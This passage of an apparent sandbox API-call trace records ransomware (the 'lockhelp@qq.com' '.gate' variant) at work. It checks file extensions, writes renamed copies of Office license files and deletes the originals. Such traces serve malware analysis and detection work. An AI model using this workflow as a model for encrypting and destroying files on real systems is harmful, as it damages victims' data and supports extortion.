lpString2="4.msu") returned -1 [0312.529] lstrlenW (lpString=".ppt") returned 4 [0312.529] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0312.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0312.529] lstrlenW (lpString=".zip") returned 4 [0312.529] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0312.529] lstrlenW (lpString=".rar") returned 4 [0312.529] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0312.529] lstrlenW (lpString=".bz2") returned 4 [0312.529] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0312.530] lstrlenW (lpString=".7z") returned 3 [0312.530] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0312.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0312.530] lstrlenW (lpString=".dbf") returned 4 [0312.530] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0312.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0312.530] lstrlenW (lpString=".1cd") returned 4 [0312.530] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0312.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0312.530] lstrlenW (lpString=".jpg") returned 4 [0312.530] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0312.531] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.531] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0312.586] GetLastError () returned 0x0 [0312.586] ReadFile (in: hFile=0x4b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x2d4a, lpOverlapped=0x0) returned 1 [0312.735] WriteFile (in: hFile=0x52c, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0312.736] ReadFile (in: hFile=0x4b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.736] WriteFile (in: hFile=0x52c, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x10a, lpOverlapped=0x0) returned 1 [0312.736] SetEndOfFile (hFile=0x52c) returned 1 [0312.736] CloseHandle (hObject=0x52c) returned 1 [0312.736] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.737] SetEndOfFile (hFile=0x4b0) returned 1 [0312.739] CloseHandle (hObject=0x4b0) returned 1 [0312.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0312.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 1 [0312.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0312.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0312.740] lstrlenW (lpString=".doc") returned 4 [0312.740] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0312.740] lstrlenW (lpString=".docx") returned 5 [0312.740] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0312.740] lstrlenW (lpString=".pdf") returned 4 [0312.740] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0312.740] lstrlenW (lpString=".xls") returned 4 [0312.740] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0312.740] lstrlenW (lpString=".xlsx") returned 5 [0312.740] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0312.740] lstrlenW (lpString=".ppt") returned 4 [0312.740] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0312.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0312.740] lstrlenW (lpString=".zip") returned 4 [0312.741] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0312.741] lstrlenW (lpString=".rar") returned 4 [0312.741] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0312.741] lstrlenW (lpString=".bz2") returned 4 [0312.741] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0312.741] lstrlenW (lpString=".7z") returned 3 [0312.741] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0312.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0312.742] lstrlenW (lpString=".dbf") returned 4 [0312.742] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0312.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0312.742] lstrlenW (lpString=".1cd") returned 4 [0312.742] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0312.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0312.742] lstrlenW (lpString=".jpg") returned 4 [0312.742] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0312.742] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=10639) returned 1 [0312.742] CloseHandle (hObject=0x4b0) returned 1 [0312.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 0x220 [0312.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0312.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0312.744] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.744] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0312.744] GetLastError () returned 0x0 [0312.744] ReadFile (in: hFile=0x4b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x298f, lpOverlapped=0x0) returned 1 [0312.747] WriteFile (in: hFile=0x52c, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2990, lpOverlapped=0x0) returned 1 [0312.748] ReadFile (in: hFile=0x4b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.748] WriteFile (in: hFile=0x52c, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x108, lpOverlapped=0x0) returned 1 [0312.748] SetEndOfFile (hFile=0x52c) returned 1 [0312.748] CloseHandle (hObject=0x52c) returned 1 [0312.748] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.748] SetEndOfFile (hFile=0x4b0) returned 1 [0312.750] CloseHandle (hObject=0x4b0) returned 1 [0312.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0312.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 1 [0312.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0312.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0312.752] lstrlenW (lpString=".doc") returned 4 [0312.752] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0312.752] lstrlenW (lpString=".docx") returned 5 [0312.752] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0312.752] lstrlenW (lpString=".pdf") returned 4 [0312.752] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0312.752] lstrlenW (lpString=".xls") returned 4 [0312.752] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0312.752] lstrlenW (lpString=".xlsx") returned 5 [0312.752] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0312.752] lstrlenW (lpString=".ppt") returned 4 [0312.752] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0312.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0312.752] lstrlenW (lpString=".zip") returned 4 [0312.752] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0312.752] lstrlenW (lpString=".rar") returned 4 [0312.753] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0312.753] lstrlenW (lpString=".bz2") returned 4 [0312.753] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0312.753] lstrlenW (lpString=".7z") returned 3 [0312.753] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0312.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0312.753] lstrlenW (lpString=".dbf") returned 4 [0312.753] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0312.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0312.753] lstrlenW (lpString=".1cd") returned 4 [0312.753] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0312.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0312.753] lstrlenW (lpString=".jpg") returned 4 [0312.753] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0312.754] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=20780) returned 1 [0312.754] CloseHandle (hObject=0x4b0) returned 1 [0312.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0312.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0312.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0312.755] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.755] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0312.756] GetLastError () returned 0x0 [0312.756] ReadFile (in: hFile=0x4b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x512c, lpOverlapped=0x0) returned 1 [0313.718] WriteFile (in: hFile=0x52c, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x5130, lpOverlapped=0x0) returned 1 [0313.719] ReadFile (in: hFile=0x4b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0313.719] WriteFile (in: hFile=0x52c, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x10a, lpOverlapped=0x0) returned 1 [0313.719] SetEndOfFile (hFile=0x52c) returned 1 [0313.719] CloseHandle (hObject=0x52c) returned 1 [0313.720] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.720] SetEndOfFile (hFile=0x4b0) returned 1 [0313.722] CloseHandle (hObject=0x4b0) returned 1 [0313.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0313.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 1 [0313.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0313.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0313.939] lstrlenW (lpString=".doc") returned 4 [0313.939] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0313.939] lstrlenW (lpString=".docx") returned 5 [0313.939] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0313.939] lstrlenW (lpString=".pdf") returned 4 [0313.939] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0313.939] lstrlenW (lpString=".xls") returned 4 [0313.939] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0313.939] lstrlenW (lpString=".xlsx") returned 5 [0313.939] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0313.939] lstrlenW (lpString=".ppt") returned 4 [0313.939] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0313.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0313.939] lstrlenW (lpString=".zip") returned 4 [0313.939] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0313.939] lstrlenW (lpString=".rar") returned 4 [0313.940] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0313.940] lstrlenW (lpString=".bz2") returned 4 [0313.940] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0313.940] lstrlenW (lpString=".7z") returned 3 [0313.940] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0313.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0313.940] lstrlenW (lpString=".dbf") returned 4 [0313.940] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0313.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0313.940] lstrlenW (lpString=".1cd") returned 4 [0313.940] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0313.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0313.940] lstrlenW (lpString=".jpg") returned 4 [0313.940] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0313.954] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.955] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0313.955] GetLastError () returned 0x0 [0313.955] ReadFile (in: hFile=0x4f4, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x4dd4, lpOverlapped=0x0) returned 1 [0314.160] WriteFile (in: hFile=0x404, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0314.161] ReadFile (in: hFile=0x4f4, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0314.161] WriteFile (in: hFile=0x404, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x10c, lpOverlapped=0x0) returned 1 [0314.161] SetEndOfFile (hFile=0x404) returned 1 [0314.161] CloseHandle (hObject=0x404) returned 1 [0314.162] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.162] SetEndOfFile (hFile=0x4f4) returned 1 [0314.803] CloseHandle (hObject=0x4f4) returned 1 [0314.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 1 [0314.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0314.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0314.941] lstrlenW (lpString=".doc") returned 4 [0314.941] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0314.941] lstrlenW (lpString=".docx") returned 5 [0314.941] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0314.941] lstrlenW (lpString=".pdf") returned 4 [0314.941] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0314.941] lstrlenW (lpString=".xls") returned 4 [0314.941] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0314.941] lstrlenW (lpString=".xlsx") returned 5 [0314.941] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0314.941] lstrlenW (lpString=".ppt") returned 4 [0314.941] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0314.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0314.941] lstrlenW (lpString=".zip") returned 4 [0314.941] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0314.941] lstrlenW (lpString=".rar") returned 4 [0314.941] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0314.941] lstrlenW (lpString=".bz2") returned 4 [0314.942] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0314.942] lstrlenW (lpString=".7z") returned 3 [0314.942] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0314.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0314.942] lstrlenW (lpString=".dbf") returned 4 [0314.942] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0314.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0314.942] lstrlenW (lpString=".1cd") returned 4 [0314.942] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0314.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0314.942] lstrlenW (lpString=".jpg") returned 4 [0314.942] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0314.942] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=11614) returned 1 [0314.942] CloseHandle (hObject=0x4b0) returned 1 [0314.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0314.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0314.943] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.943] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0314.943] GetLastError () returned 0x0 [0314.943] ReadFile (in: hFile=0x4b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x2d5e, lpOverlapped=0x0) returned 1 [0314.977] WriteFile (in: hFile=0x554, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0314.978] ReadFile (in: hFile=0x4b0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, 